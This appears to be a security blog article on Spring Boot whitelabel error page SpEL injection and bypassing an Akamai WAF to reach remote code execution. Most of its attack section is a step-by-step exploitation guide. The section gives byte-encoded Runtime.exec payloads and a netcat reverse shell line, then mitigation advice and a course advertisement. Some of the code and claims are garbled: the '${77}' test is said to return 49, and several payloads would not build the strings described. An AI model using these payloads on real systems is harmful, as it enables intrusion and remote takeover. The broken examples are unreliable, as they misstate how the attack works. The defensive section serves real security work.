Listen to this Post

Introduction:
Server-Side Template Injection (SSTI) remains one of the most critical vulnerabilities in modern web applications, and when combined with the Spring Expression Language (SpEL) engine, it can lead to unauthenticated Remote Code Execution (RCE). This article dissects a real-world exploit chain that turned a legacy Spring Boot whitelabel error page into a foothold on a production system, all while navigating—and ultimately bypassing—a fully deployed Akamai Web Application Firewall (WAF). We will walk through the reconnaissance, the payload crafting process, and the exact techniques used to evade detection, providing a blueprint for both penetration testers and defenders.
Learning Objectives:
- Understand the mechanics of SpEL injection within Spring Boot’s whitelabel error page and how it enables SSTI.
- Learn step-by-step how to construct obfuscated SpEL payloads that bypass WAF signature detection.
- Gain hands-on knowledge of Java reflection, string manipulation without quotes, and command execution via
java.lang.Runtime. - Identify effective mitigation strategies, including WAF tuning and secure coding practices for Spring applications.
You Should Know:
- The Core Vulnerability: Spring Boot Whitelabel Error Page SpEL Injection
The foundation of this attack is a well-documented issue in older Spring Boot versions (prior to 1.2.8 and 1.3.0). When the application throws an exception and the default “Whitelabel Error Page” is enabled, the framework renders the error message using a `PropertyPlaceholderHelper` that evaluates any `${…}` expressions found within the error text. If an attacker can control part of the error message—for example, by supplying a malformed parameter that triggers a TypeMismatchException—they can inject a SpEL expression that gets evaluated server-side.
The simplest test is to inject a mathematical expression:
GET /vulnerable-endpoint?param=${77}
If the error page displays 49, the application is vulnerable.
This is not just a theoretical bug. In 2022, researchers demonstrated that this exact flaw could be chained with a WAF bypass to achieve RCE on a Bugcrowd private program. The vulnerability stems from Spring Boot’s recursive evaluation of property placeholders, meaning that a payload like `${${…}}` can be evaluated multiple times, allowing for complex expressions.
2. WAF Enumeration and Initial Blocking
In the real-world case, the Akamai WAF immediately blocked the most obvious SpEL payloads. The first attempt, ${T(java.lang.Runtime)}, was detected and rejected. This is a common signature because `T(java.lang.Runtime)` is a clear indicator of an attempt to access Java’s runtime class.
To systematically bypass the WAF, the researcher adopted a methodical approach:
– Start with small, innocuous expressions that are likely to be allowed.
– Gradually increase complexity while observing which patterns trigger the WAF.
– Identify exactly what characters and strings are being filtered.
In this case, the WAF was blocking both single and double quotes, making it impossible to use straightforward string literals like "java.lang.Runtime". This forced the attacker to find alternative ways to construct strings without using quotes.
3. Building a Quote-Free String in SpEL
With quotes blocked, the attacker needed a method to build arbitrary strings from integers. The Java API provides a solution: the `Character.toString()` method and the `String.valueOf()` method can convert integer ASCII or Unicode values to characters. However, invoking these methods within SpEL without quotes requires careful chaining.
The breakthrough came from using the `java.lang.Integer` class as a bridge. The payload `${T(java.lang.Integer).class}` successfully returned a class object, proving that the WAF did not block references to Integer. From there, the attacker could use reflection to access the `Class.forName()` method, but the WAF blocked the string argument.
To bypass this, the attacker constructed the target class name character by character:
${T(java.lang.Integer).toString(T(java.lang.Character).codePointAt(new T(java.lang.StringBuilder)(T(java.lang.String).valueOf(T(java.lang.Character).toChars(106))),0))}
This payload builds the string “java.lang.Runtime” without using any quotes. It leverages:
– `T(java.lang.Character).toChars(106)` to get a character array for the letter ‘j’ (ASCII 106).
– `T(java.lang.String).valueOf()` to convert it to a string.
– `T(java.lang.StringBuilder)` to concatenate characters.
– `T(java.lang.Integer).toString()` to convert the final character code to a string.
This is a powerful technique that can be adapted to build any string, including command strings like `”calc.exe”` or "whoami".
4. Achieving RCE with Runtime.exec()
Once the attacker could construct arbitrary strings, the next step was to invoke `java.lang.Runtime.exec()` to execute OS commands. The final payload used a combination of reflection and string building to call `Runtime.getRuntime().exec()` with a command constructed without quotes.
A simplified version of the final payload (assuming quotes were allowed) would be:
${T(java.lang.Runtime).getRuntime().exec('whoami')}
But with quotes blocked, the attacker used the same character-by-character construction to build the command string. For example, to execute whoami, the payload would build the string “whoami” from ASCII values and pass it to exec().
The writeup notes that the researcher spent approximately 14 hours and over 500 manual attempts to craft a working payload. This highlights the difficulty of bypassing a well-tuned WAF and the importance of persistence in security research.
5. Step-by-Step Exploitation Guide
To replicate this attack in a lab environment, follow these steps:
Step 1: Identify a Vulnerable Endpoint
- Find a Spring Boot application that uses the default whitelabel error page.
- Trigger an error by sending a malformed parameter, e.g., `?id=abc` where `id` expects an integer.
- Observe if the error page reflects the input.
Step 2: Test for SpEL Injection
- Inject `${77}` into the parameter. If the error page shows
49, the application is vulnerable.
Step 3: Bypass WAF Signature Detection
- If the WAF blocks
T(java.lang.Runtime), try using `T(java.lang.Integer).class` as a test. - If successful, proceed to build strings without quotes using `Character.toChars()` and
StringBuilder.
Step 4: Construct the Final Payload
- Use the following template to build a command string without quotes:
${T(java.lang.Runtime).getRuntime().exec(T(java.lang.String).valueOf(new char[]{106,97,118,97}))} - Replace the byte array with the ASCII codes of your desired command (e.g., `{119,104,111,97,109,105}` for “whoami”).
Step 5: Execute and Verify
- Send the payload and check for command execution. Use a DNS or HTTP callback to confirm out-of-band execution if no output is returned.
6. Windows and Linux Command Examples
Linux Command Execution (whoami):
${T(java.lang.Runtime).getRuntime().exec(T(java.lang.String).valueOf(new byte[]{119,104,111,97,109,105}))}
Windows Command Execution (calc.exe):
${T(java.lang.Runtime).getRuntime().exec(T(java.lang.String).valueOf(new byte[]{99,97,108,99,46,101,120,101}))}
Reverse Shell (Linux – using netcat):
${T(java.lang.Runtime).getRuntime().exec(T(java.lang.String).valueOf(new byte[]{110,99,32,45,101,32,47,98,105,110,47,115,104,32,49,50,55,46,48,46,48,46,49,32,52,52,52,52}))}
Note: Replace the IP and port with your own.
7. Mitigation and Defense Strategies
For defenders, the primary mitigation is to upgrade Spring Boot to version 1.2.8, 1.3.1, or later. If an upgrade is not immediately possible, disable the default whitelabel error page by adding the following to application.properties:
server.error.whitelabel.enabled=false
Additionally, implement a custom error controller that does not evaluate user input as SpEL.
For WAF administrators, tune rules to detect not only obvious signatures like `T(java.lang.Runtime)` but also patterns that indicate string construction, such as `Character.toChars` and StringBuilder. Use behavioral analysis to flag repeated error-triggering requests.
What Undercode Say:
- Key Takeaway 1: The Spring Boot whitelabel error page SpEL injection is a classic example of how legacy features can become critical vulnerabilities when combined with powerful expression languages. Even without a CVE, this bug has been actively exploited in the wild.
- Key Takeaway 2: WAF bypass is not about finding a single magic payload; it’s a systematic process of understanding what the WAF blocks and creatively working around those restrictions. The 500+ attempts in this case underscore the importance of deep knowledge of both the target framework and the Java runtime environment.
Analysis:
This exploit chain demonstrates that modern WAFs, while effective against basic attacks, can be defeated by attackers with sufficient knowledge of the underlying technology stack. The use of Java reflection and character-by-character string construction is a sophisticated technique that requires a deep understanding of both SpEL and the Java API. The fact that the researcher was able to chain these techniques to achieve RCE on a production system highlights the need for defense-in-depth: relying solely on a WAF is not enough. Secure coding practices, such as input validation and output encoding, along with regular dependency updates, are essential. The writeup also serves as a valuable training resource for penetration testers, illustrating how to approach WAF evasion methodically rather than through brute force.
Prediction:
- +1 This vulnerability will continue to be a popular target for bug bounty hunters, as many legacy Spring Boot applications remain unpatched. Expect to see more writeups and automated tools for exploiting this issue.
- +1 WAF vendors will enhance their signature sets to detect obfuscated SpEL payloads, leading to an arms race between attackers and defenders.
- -1 Organizations that fail to upgrade or apply mitigations will face an increased risk of data breaches, as this vulnerability provides unauthenticated RCE, which is often a stepping stone to full system compromise.
▶️ Related Video (76% Match):
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: Omar Aljabr – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


